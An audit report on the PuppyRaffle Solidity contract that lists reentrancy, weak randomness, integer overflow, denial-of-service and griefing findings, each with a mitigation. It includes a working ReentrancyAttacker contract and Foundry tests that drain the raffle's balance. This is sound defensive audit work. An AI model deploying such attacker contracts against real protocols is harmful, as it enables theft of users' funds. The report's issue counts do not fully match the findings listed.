PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

April 29, 2024

Protocol Audit Report

Sharon

April 29, 2024

Prepared by: Sharon Lead Auditors: - Sharon Philip Lima

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) Attack incrementing gas costs for future entrance
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to think incorrectly that they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of solidity is not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice
    * [I-5] Use of magic numbers is discouraged
    * [I-6] _isActivePlayer is never used and should be removed

Protocol Summary

This protocol is to enter a raffle to win a cute dog NFT.

Disclaimer

The Sharon Philip Lima team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	4

Severity	Number of issues found
Low	1
Info	8
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` due to CEI not being followed, draining the funds of the entire protocol

Description `PuppyRaffle::refund` function does not follow the CEI (Checks, Effects and Interactions) and as a results enables an attacker to create a malicious contract to join the raffle and get a refund. The `sendValue` method inside `PuppyRaffle::refund` triggers the Attacker contract's `fallback` or `receive` function which in turn calls back to the `PuppyRaffle::refund` function leading to a vicious loop till the contract balance is drained.

In the `PuppyRaffle::refund` we are first making an external call to the `msg.sender` address and only after that external call we are updating the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6          // @audit Reentrancy
7  @>      payable(msg.sender).sendValue(entranceFee);
8  @>      players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

Impact All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof Of Concept 1. User enters raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from the attack contract, draining the contract balance.

If we had an attacker contract like below:

PoC

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee(); //entranceFee is a
            public variable | Hence calling!
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

The following test added to the test suite would hold valid.

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
```

```
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, 1e18);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting attacker contract balance",
                startingAttackContractBalance);
21          console.log("starting contract balance",
                startingContractBalance);
22
23          console.log("ending attacker contract balance", address(
                attackerContract).balance);
24          console.log("ending contract balance", address(puppyRaffle).
                balance);
25      }
```

Console output:

```
1  Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
2  [PASS] test_reentrancyRefund() (gas: 493619)
3  Logs:
4    starting attacker contract balance 0
5    starting contract balance 4000000000000000000
6    ending attacker contract balance 5000000000000000000
7    ending contract balance 0
8
9  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.70ms
       (10.34ms CPU time)
10
11 Ran 1 test suite in 75.89ms (33.70ms CPU time): 1 tests passed, 0
       failed, 0 skipped (1 total tests)
```

Recommended Mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

1. Follow the `CEI` pattern while updating the state of the contract.
2. Use the non-reentrant modifier from `Openzeppelin`.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
```

```
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak Randomness found in `PuppyRaffle::selectWinner` due to a modulus on block.timsestamp and block.difficulty, allows use to influence or predict the winner and influence or predict the winning puppy.

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

It's worth noting that miners have some control over the timestamp of the blocks they mine. This means that a malicious miner could potentially manipulate the block timestamp to influence the outcome of the raffle, especially if the window for selecting a winner is narrow.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles. Weak randomness in a smart contract raffle winning system is highly detrimental because of its predictability, manipulation and loss of trust.

Proof Of Concept

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

The line `uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))% players.length;` is attempting to generate randomness by combining `block.timestamp` and `block.difficulty`. However, both `block.timestamp` and `block.difficulty` can be manipulated or predicted by miners.

Recommended Mitigation Use External Randomness: Instead of relying solely on block timestamps, incorporate external sources of randomness that cannot be manipulated by miners or participants. This could involve using decentralized random number generators or integrating with reputable off-chain randomness services. Chainlink VRF is a good example!

[H-3] Integer overflow due to uint64 wrap of `fee` in `PuppyRaffle::selectWinner` causing loss of fees.

Description In solidity versions prior to `0.8.0` integers were subject to integer overflows. `fee` is wrapped in `uint64`. This causes an overflow in the `PuppyRaffle::selectWinner` function

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be zero
```

Code snippet

```
uint256 fee = (totalAmountCollected * 20) / 100;
        // @audit overflow
        totalFees = totalFees + uint64(fee);
@>      uint256 tokenId = totalSupply();
```

Impact In PuppyRaffle::selectWinner, `totalFees` are accumulated for the feeAddress to collect later in withdrawFees. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof Of Concept 1. We conclude a raffle of 95 players and collect the fees 2. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 0 + 19000000000000000000;
// due to overflow, the following is now the case
    totalFees = 553255926290448384;
```

3. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
    function test_overflow_fees() public {
        address[] memory players = new address[](95);
        for (uint256 i = 0; i < 95; i++) {
            players[i] = address(i);
        }
        uint256 expectedFeeCollected = (entranceFee * 95) / 5;
        console2.log("expectedFeeCollected:", expectedFeeCollected);
        puppyRaffle.enterRaffle{value: entranceFee * 95}(players);

        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 actualFeeCollected = puppyRaffle.totalFees();

        assert(actualFeeCollected < expectedFeeCollected);
        console2.log("actualFeeCollected:", actualFeeCollected);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) Attack incrementing gas costs for future entrance

Description The `PuppyRaffle::enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` array so big, that no one else enters, guarenteeing themselves the winner.

Proof Of Concept If we have two sets of 100 players, the gas costs will be as such: 1st 100 ~ 6252128gas 2nd 100 ~ 18068218gas This is more than 3x more expensive for the second set of 100 players.

PoC

Add the following test to the `test/PuppyRaffleTest.t.sol`:

```
function testAttackerCanDoS() public {
        vm.txGasPrice(1);
        address[] memory attackers = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            attackers[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * attackers.length}(
            attackers);
        uint256 gasEnd = gasleft();
        uint256 gasCost = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas Cost of the first 100 players", gasCost);

        address[] memory victims = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
```

```
15              victims[i] = address(i + 100);
16          }
17          uint256 gasStartSecond = gasleft();
18          puppyRaffle.enterRaffle{value: entranceFee * victims.length}(
                victims);
19          uint256 gasEndSecond = gasleft();
20          uint256 gasCostSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
21          console.log("Gas Cost of the second 100 players", gasCostSecond
                );
22
23          assert(gasCost < gasCostSecond);
24      }
```

Recommended Mitigation There are a few recommendations

1. Consider allowing duplicate. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23          emit RaffleEnter(newPlayers);
24      }
```

```
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alteratively, you could use OpenZeppelin's `EnumerableSet` library

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
```

```
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-4] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallets entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof Of Concept

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation There are few options to mitigate this issue.

1. Do not allow a smart contract wallet entrant (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to think incorrectly that they have not entered the raffle.

Description: If the player is at index 0, it'll return 0 but according to the natspec, it will also return 0 if the player is not in the array.
Thus, a player might think they are not active!

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or an immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+       uint256 playerLength = player.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended.

Please use a newer version like `0.8.18`

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more details.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 73

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 221

```
1          feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1  -          (bool success,) = winner.call{value: prizePool}("");
2  -          require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3             _safeMint(winner, tokenId);
4  +          (bool success,) = winner.call{value: prizePool}("");
5  +          require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1          uint256 prizePool = (totalAmountCollected * 80) / 100;
2          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use

```
1  +    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  +    uint256 public constant FEE_PERCENTAGE = 20;
3  +    uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```